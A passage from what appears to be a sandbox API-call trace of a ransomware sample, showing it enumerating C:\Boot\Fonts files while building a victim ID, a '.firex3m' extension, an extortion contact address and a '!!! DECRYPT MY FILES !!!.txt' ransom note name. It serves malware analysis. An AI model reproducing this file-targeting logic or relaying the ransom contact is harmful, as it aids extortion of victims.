cchLength=0x1a | out: lpsz="c:\\boot\\fonts\\cht_boot.ttf") returned 0x1a [0101.250] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.251] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.251] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.251] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.251] GetProcessHeap () returned 0x630000 [0101.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b1388 [0101.251] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0101.251] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\cht_boot.ttf", psz="C:\\Boot\\Fonts\\jpn_boot.ttf", len=0x1a | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 1 [0101.251] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\jpn_boot.ttf", cchLength=0x1a | out: lpsz="c:\\boot\\fonts\\jpn_boot.ttf") returned 0x1a [0101.251] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.251] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.251] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.251] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.251] GetProcessHeap () returned 0x630000 [0101.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0x14) returned 0x6b0458 [0101.252] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0101.252] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\jpn_boot.ttf", psz="C:\\Boot\\Fonts\\kor_boot.ttf", len=0x1a | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\kor_boot.ttf") returned 1 [0101.252] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\kor_boot.ttf", cchLength=0x1a | out: lpsz="c:\\boot\\fonts\\kor_boot.ttf") returned 0x1a [0101.252] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.252] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.252] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.252] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.252] GetProcessHeap () returned 0x630000 [0101.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0458, Size=0x18) returned 0x6b02b8 [0101.252] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0101.252] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\kor_boot.ttf", psz="C:\\Boot\\Fonts\\malgunn_boot.ttf", len=0x1e | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 1 [0101.252] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\malgunn_boot.ttf", cchLength=0x1e | out: lpsz="c:\\boot\\fonts\\malgunn_boot.ttf") returned 0x1e [0101.252] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.253] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.253] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.253] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.253] GetProcessHeap () returned 0x630000 [0101.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x1c) returned 0x6e9030 [0101.253] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0101.253] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\malgunn_boot.ttf", psz="C:\\Boot\\Fonts\\malgun_boot.ttf", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 1 [0101.253] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\malgun_boot.ttf", cchLength=0x1d | out: lpsz="c:\\boot\\fonts\\malgun_boot.ttf") returned 0x1d [0101.253] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.253] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.253] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.253] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.253] GetProcessHeap () returned 0x630000 [0101.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9030, Size=0x20) returned 0x6e9080 [0101.254] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0101.254] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\malgun_boot.ttf", psz="C:\\Boot\\Fonts\\meiryon_boot.ttf", len=0x1e | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 1 [0101.254] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\meiryon_boot.ttf", cchLength=0x1e | out: lpsz="c:\\boot\\fonts\\meiryon_boot.ttf") returned 0x1e [0101.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.254] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.254] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.254] GetProcessHeap () returned 0x630000 [0101.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9080, Size=0x24) returned 0x699a98 [0101.254] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0101.254] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\meiryon_boot.ttf", psz="C:\\Boot\\Fonts\\meiryo_boot.ttf", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 1 [0101.254] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\meiryo_boot.ttf", cchLength=0x1d | out: lpsz="c:\\boot\\fonts\\meiryo_boot.ttf") returned 0x1d [0101.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.255] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.255] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.255] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.255] GetProcessHeap () returned 0x630000 [0101.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x28) returned 0x699ca8 [0101.255] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0101.255] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\meiryo_boot.ttf", psz="C:\\Boot\\Fonts\\msjhn_boot.ttf", len=0x1c | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 1 [0101.255] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\msjhn_boot.ttf", cchLength=0x1c | out: lpsz="c:\\boot\\fonts\\msjhn_boot.ttf") returned 0x1c [0101.255] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.255] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.255] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.255] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.255] GetProcessHeap () returned 0x630000 [0101.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699ca8, Size=0x2c) returned 0x6ed6310 [0101.256] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0101.256] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\msjhn_boot.ttf", psz="C:\\Boot\\Fonts\\msjh_boot.ttf", len=0x1b | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 1 [0101.256] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\msjh_boot.ttf", cchLength=0x1b | out: lpsz="c:\\boot\\fonts\\msjh_boot.ttf") returned 0x1b [0101.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.256] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.256] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.256] GetProcessHeap () returned 0x630000 [0101.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6310, Size=0x30) returned 0x6ed62d8 [0101.256] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0101.256] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\msjh_boot.ttf", psz="C:\\Boot\\Fonts\\msyhn_boot.ttf", len=0x1c | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 1 [0101.256] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\msyhn_boot.ttf", cchLength=0x1c | out: lpsz="c:\\boot\\fonts\\msyhn_boot.ttf") returned 0x1c [0101.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.257] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.257] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.257] GetProcessHeap () returned 0x630000 [0101.257] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed62d8, Size=0x34) returned 0x6d4ec0 [0101.257] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0101.257] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\msyhn_boot.ttf", psz="C:\\Boot\\Fonts\\msyh_boot.ttf", len=0x1b | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 1 [0101.257] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\msyh_boot.ttf", cchLength=0x1b | out: lpsz="c:\\boot\\fonts\\msyh_boot.ttf") returned 0x1b [0101.257] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.257] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.257] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.257] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.257] GetProcessHeap () returned 0x630000 [0101.257] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4ec0, Size=0x38) returned 0x6d4e40 [0101.258] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0101.258] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\msyh_boot.ttf", psz="C:\\Boot\\Fonts\\segmono_boot.ttf", len=0x1e | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 1 [0101.258] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\segmono_boot.ttf", cchLength=0x1e | out: lpsz="c:\\boot\\fonts\\segmono_boot.ttf") returned 0x1e [0101.258] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.258] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.258] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.258] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.258] GetProcessHeap () returned 0x630000 [0101.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4e40, Size=0x3c) returned 0x6fefa40 [0101.258] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0101.258] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\segmono_boot.ttf", psz="C:\\Boot\\Fonts\\segoen_slboot.ttf", len=0x1f | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 1 [0101.258] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\segoen_slboot.ttf", cchLength=0x1f | out: lpsz="c:\\boot\\fonts\\segoen_slboot.ttf") returned 0x1f [0101.258] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.259] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.259] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.259] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.259] GetProcessHeap () returned 0x630000 [0101.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefa40, Size=0x40) returned 0x6fefad0 [0101.259] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0101.259] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\segoen_slboot.ttf", psz="C:\\Boot\\Fonts\\segoe_slboot.ttf", len=0x1e | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 1 [0101.259] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\segoe_slboot.ttf", cchLength=0x1e | out: lpsz="c:\\boot\\fonts\\segoe_slboot.ttf") returned 0x1e [0101.259] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.259] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES 